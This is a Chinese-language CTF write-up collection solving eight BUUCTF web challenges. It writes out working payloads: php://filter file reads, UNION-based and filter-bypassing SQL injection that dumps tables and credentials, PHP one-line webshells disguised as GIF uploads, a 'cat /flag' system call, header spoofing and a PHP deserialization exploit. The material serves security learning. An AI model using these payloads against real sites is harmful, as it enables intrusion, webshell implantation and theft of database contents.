[极客大挑战 2019]Secret File
![](https://img-blog.csdnimg.cn/img_convert/08ca2fefc16e2228590be586d2a1046d.png)
查看网页源代码,发现了./Archive_room.php
![](https://img-blog.csdnimg.cn/img_convert/a029a6bb39724d7e6d1d76c9bc206626.png)
访问/Archive_room.php,出现一个secret按钮
![](https://img-blog.csdnimg.cn/img_convert/c5a8a07d16c563c2fae81d637572fa24.png)
点击secret按钮,会跳转到end.php页面,并提示回去仔细看看
![](https://img-blog.csdnimg.cn/img_convert/9d8c430a57df61334c5a5b35ab820783.png)
那咱回到Archive_room.php页面,查看源代码,又发现一个./action.php
![](https://img-blog.csdnimg.cn/img_convert/a9476ecbe2f73d17ec74711cb2992571.png)
访问action.php又很快跳转到了end.php,只能抓包看看这中间发生了什么
![](https://img-blog.csdnimg.cn/img_convert/573cbf8dc3e7bbfa2dba828a3a784159.png)
打开BrupSuite抓包,发送给Repeater,发送,发现返回一个隐藏页面,其中包含secr3t.php
![](https://img-blog.csdnimg.cn/img_convert/01068b11eeea182d0b5fd3fc2145c1d2.png)
访问secr3t.php,返回一段php源码,注释中说明flag在flag.php当中
![](https://img-blog.csdnimg.cn/img_convert/092c4443968e231710ac477038fa2c2d.png)
直接访问flag.php,并没有返回flag字段
![](https://img-blog.csdnimg.cn/img_convert/416cf6c28b21e2478d198d520c52f03d.png)
分析这段源码,这里可以用php伪协议来读取flag.php
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
构造payload:
?file=php://filter/convert.base64-encode/resource=flag.php
![](https://img-blog.csdnimg.cn/img_convert/15057a74853125db88c075054d001b55.png)
返回一长串字符,将这串字符通过base64解码得flag
![](https://img-blog.csdnimg.cn/img_convert/8e9fde91cd10980ddbc00b5e633bb6e3.png)
[极客大挑战 2019]LoveSQL
![](https://img-blog.csdnimg.cn/img_convert/ac43ef5d0dc2451c202605a13bf9535e.png)
看样子是sql注入了
尝试用户名:
1′ or 1=1#
密码:
123
![](https://img-blog.csdnimg.cn/img_convert/3d24bc58038ba541095f61ddadf1fc32.png)
回显一个登陆成功的状态,说明存在sql注入
尝试构造payload判断字段数:
username=admin’+order+by+3%23&password=1 正常
username=admin’+order+by+4%23&password=1 报错
![](https://img-blog.csdnimg.cn/img_convert/94684fc6018845cf5c6b40e87c8b9dc0.png)
![](https://img-blog.csdnimg.cn/img_convert/616f9d44009c5940f1bed585a06e8340.png)
由此可以判断出存在3个字段
尝试构造联合查询payload判断回显位置:
username=1’+union+select+1,2,3%23&password=1
![](https://img-blog.csdnimg.cn/img_convert/513303323ba880d5070491fa818186d4.png)
得到两个回显位置,回显位置在2和3
构造payload查询数据库名称和数据库版本:
username=1’+union+select+1,database(),version()%23&password=1
![](https://img-blog.csdnimg.cn/img_convert/d3e8f4e5c7a2be9a00c11fee4998676c.png)
爆出数据库名为geek,数据库版本为10.3.18-MariaDB
构造payload查询表名:
username=1’+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()%23&password=1
![](https://img-blog.csdnimg.cn/img_convert/337837c35e12e953753d311f4f9819b3.png)
得到表名geekuser和l0ve1ysq1,由于题目是lovesql,所以先选择l0ve1ysq1进行爆破
构造payload,爆出表中字段:
username=1’+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=’l0ve1ysq1’%23&password=1
![](https://img-blog.csdnimg.cn/img_convert/4bc4971b73c97d314783563c45c573c2.png)
得到字段名id,username,password
构造payload查询这三个字段的内容:
username=1’+union+select+1,2,group_concat(id,username,password)+from+l0ve1ysq1%23&password=1
![](https://img-blog.csdnimg.cn/img_convert/21c056fca0c123e856072ad30bd1c104.png)
得到flag
[极客大挑战 2019]Knife
![](https://img-blog.csdnimg.cn/img_convert/4a821e503e585950dd50fa78e5622bbc.png)
页面打开给出了一句话木马
eval($_POST["Syc"]);
既然已经有了一句话,那么用菜刀或者蚁剑这样的webshell连接工具去连接尝试一下,连接密码Syc
![](https://img-blog.csdnimg.cn/img_convert/1b2709ccaf1dceb599fa8a6bb7b093f3.png)
测试连接成功,我们连接进去后,在根目录下,发现flag文件,成功得到flag
![](https://img-blog.csdnimg.cn/img_convert/b3780d884e253334f2b8620e3067d383.png)
[极客大挑战 2019]Http
![](https://img-blog.csdnimg.cn/img_convert/84f3ce4e038883e2f66727a769ea0dff.png)
查看网页源代码,右拉到头,发现Secret.php
![](https://img-blog.csdnimg.cn/img_convert/af676ff1a8c403b99eb7722f75021cfe.png)
访问Secret.php,被告知它并不是来自
https://Sycsecret.buuoj.cn
![](https://img-blog.csdnimg.cn/img_convert/e0607f32f77aa0c5a068de861a5213ae.png)
查看源代码无果,选择bp抓包看看,添加字段Referer:
https://Sycsecret.buuoj.cn
![](https://img-blog.csdnimg.cn/img_convert/39cec60c274ba71906e3e58c79f17125.png)
![](https://img-blog.csdnimg.cn/img_convert/357cdc0f406e2cecca2efa77d4ca86e3.png)
得到一串新的提示,让我们使用Syclover浏览器,那我们把user-agent里面的内容给删除然后输入 Syclover
![](https://img-blog.csdnimg.cn/img_convert/25acb3ba9309d9d594875ed8051f96d7.png)
![](https://img-blog.csdnimg.cn/img_convert/9a47c3302e0ea6f910d8efd5ea1f99f3.png)
被提示我只能在本地读取,本地?127.0.0.1?
再次抓包,修改添加以下请求内容
User-Agent: Syclover
Referer:
https://Sycsecret.buuoj.cn
X-Forwarded-For:127.0.0.1
![](https://img-blog.csdnimg.cn/img_convert/2d7cb487e6de083fe8277f15feb69d43.png)
得到flag
![](https://img-blog.csdnimg.cn/img_convert/c7e9a8c8d1fac1fa7edc81edd629ae7b.png)
[极客大挑战 2019]Upload
![](https://img-blog.csdnimg.cn/img_convert/027b57d3ff1b9fba4349552ee9e4de2c.png)
文件上传了,直接传入一句话php脚本试试
<?php @eval($_POST['123'];?>
![](https://img-blog.csdnimg.cn/img_convert/3661f52b875d762d64e1e05f38a02878.png)
报不是图片,看来对上传文件的格式做了限制。
修改一句话木马,这里需要改成phtml格式的,对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。
GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language='php'>@eval($_POST['123']);</script>
<script language='php'>system('cat /flag');</script>
我们在上传文件的时候抓包看看,修改Content-Type为image/jpeg,修改上传文件的后缀名为.phtml
Content-Type: image/jpeg
![](https://img-blog.csdnimg.cn/img_convert/37ae8a9d2ca422bd7dd46d8867e58765.png)
![](https://img-blog.csdnimg.cn/img_convert/5aadc2a79dd8f32bc87aca09276f6ffb.png)
成功上传文件,一般文件上传后的路径在upload文件下,我们访问/upload路径试试,找到了我们上传的1.phtml文件
![](https://img-blog.csdnimg.cn/img_convert/e4f02213ab6623d3f3c9256fec4d79e7.png)
知道了上传路径,使用蚁剑连接去找也可以,直接点开,执行回显flag命令也可以
![](https://img-blog.csdnimg.cn/img_convert/32fd5adfd0da029a63f5bdc5cdda451a.png)
[ACTF2020 新生赛]Upload
![](https://img-blog.csdnimg.cn/img_convert/33d03e5b27593c99467b68a112cfb65e.png)
字再不透明点?选择文件和上传,我们上传个上题的一句话phtml脚本试试
GIF89a
<script language='php'>@eval($_POST['123']);</script>
![](https://img-blog.csdnimg.cn/img_convert/049cd20a8cba7d275e80c2cf882745d7.png)
限制格式,我们通过源代码可以发现,这里执行了前端验证
![](https://img-blog.csdnimg.cn/img_convert/0ea9f0db71357a4c7fb13cf65261ee67.png)
我们修改文件后缀为png,然后开启bp抓包,上传
![](https://img-blog.csdnimg.cn/img_convert/9f086e7a94cc3f27ccde989459044e55.png)
在这里将文件后缀再改回到phtml,然后放包,显示文件上传成功,并给出文件路径
![](https://img-blog.csdnimg.cn/img_convert/5387f6c35f4fe60d67799aac75fd739a.png)
![](https://img-blog.csdnimg.cn/img_convert/eb90d81db718c26b3acaa76dcdab87b1.png)
我们使用蚁剑进行连接,并在根目录下发现flag
![](https://img-blog.csdnimg.cn/img_convert/01febe4973b0204cf803618754f79dbe.png)
![](https://img-blog.csdnimg.cn/img_convert/4f029063d8fa3de0f82283502553d9f5.png)
[极客大挑战 2019]BabySQL
![](https://img-blog.csdnimg.cn/img_convert/a7e31acebfabbba5a2f5a7347e85d5f1.png)
![](https://img-blog.csdnimg.cn/img_convert/5edabb612fe444b299d8ae2026126ba0.png)
在登录界面简单尝试,发现存在sql注入
测试注入语句时,发现存在过滤,尝试双写绕过,空格用+号代替,#用%23代替
1’+oorr+1=1%23
![](https://img-blog.csdnimg.cn/img_convert/b99843d71e2a5818435eb473c636f1a3.png)
发现可以正常回显,那么我们就可以尝试构造payload开始注入
首先我们发现被过滤掉的关键词有:select ,and ,or where ,from,oder by等
所以我们的payload想要考虑到双写这些关键词就可以了。
并且我在测试的时候发现双写关键词的时候最好把它包裹起来。
比如想要双写select的时候,则要应该写成sel
select
ect。
这样子,当过滤机制过滤掉中间的select的时候,剩下的左右两边又会组合成一个新的select。
现在我们开始测试有多少列:
1’+oorrder+bbyy+3%23 回显正常
1’+oorrder+bbyy+4%23 返回报错
![](https://img-blog.csdnimg.cn/img_convert/be6eb4f7531dff978704a4c20eacd223.png)
![](https://img-blog.csdnimg.cn/img_convert/296ae0d94c455995ba79ec2f541bd53a.png)
证明存在3列字段
然后判断回显位置
1’+ununionion+selselectect+1,2,3%23
![](https://img-blog.csdnimg.cn/img_convert/80e1c03636aaff6b101f02f820737edf.png)
在2和3的位置有回显
查询数据库名
1’+ununionion+selselectect+1,database(),3%23
![](https://img-blog.csdnimg.cn/img_convert/5ce6000cdae6c8899f00aee42fc3585a.png)
爆出库名为 geek
然后开始跑表名
1’+ununionion+selselectect+1,(selselectect+group_concat(table_name)+frfromom+infoorrmation_schema.tables+whwhereere+table_schema=database()),3%23
![](https://img-blog.csdnimg.cn/img_convert/76eb5155595f37943c32921301f0c3a1.png)
有两个表,分别是b4bsql和geekuser
然后爆破b4bsql表的列名
1’+ununionion+selselectect+1,(selselectect+group_concat(column_name)+frfromom+infoorrmation_schema.columns+whwhereere+table_schema=database()+anandd+table_name=’b4bsql’),3%23
![](https://img-blog.csdnimg.cn/img_convert/923f3b60337da50f8e9e6d23f3879b11.png)
跑出三列,分别为id,username,password
爆破username和password的内容
注:这里的password是包含着or的,所以应该把password写成passwoorrd
1’+uniunionon+selselectect+1,(selselectect+group_concat(username,”+:+”,passwoorrd)+frfromom+b4bsql),3%23
![](https://img-blog.csdnimg.cn/img_convert/c26a70a6842374554be4431511d1d2fa.png)
发现其中有一个用户名是flag,密码是flag字段,至此得到flag
[极客大挑战 2019]PHP
![](https://img-blog.csdnimg.cn/img_convert/df1cc3a7c24940be46c16d5b2cc28c0d.png)
根据提示,找找网站备份吧,脚本小子上线,直接用御剑去扫一下
![](https://img-blog.csdnimg.cn/img_convert/33cc6befedebae1404e363c5268f9b1d.png)
这不找到了www.zip访问给他下载下来
index.php中,我们发现一段关键代码,存在反序列化函数,那么就有可能存在反序列化漏洞
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php中username为admin便输出flag,从__destruct,__construct,__wakeup可以判断存在反序列化漏洞
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
php序列化与反序列化
序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
反序列化:函数为unserialize(),将字符串转换成变量或对象的过程
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用
我们需要将Name类序列化,函数如下
<?php
class Name{
private $username = ‘nonono‘;
private $password = ‘yesyes‘;
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name(‘admin‘,100);
$b = serialize($a);
echo $b;
输出结果为
O:4:”Name”:2:{s:14:”Nameusername”;s:11:”‘admin‘”;s:14:”Namepassword”;i:100;}
输出结果中Name和username,Name和password之间是有不可见字符的,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
另外我们还需要绕过__wakeup方法
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
绕过:O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
最终payload用url编码转换一下,以防不测,所以最终payload为:
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
![](https://img-blog.csdnimg.cn/img_convert/a31059c28bfb2782b20ce1782a0ac22f.png)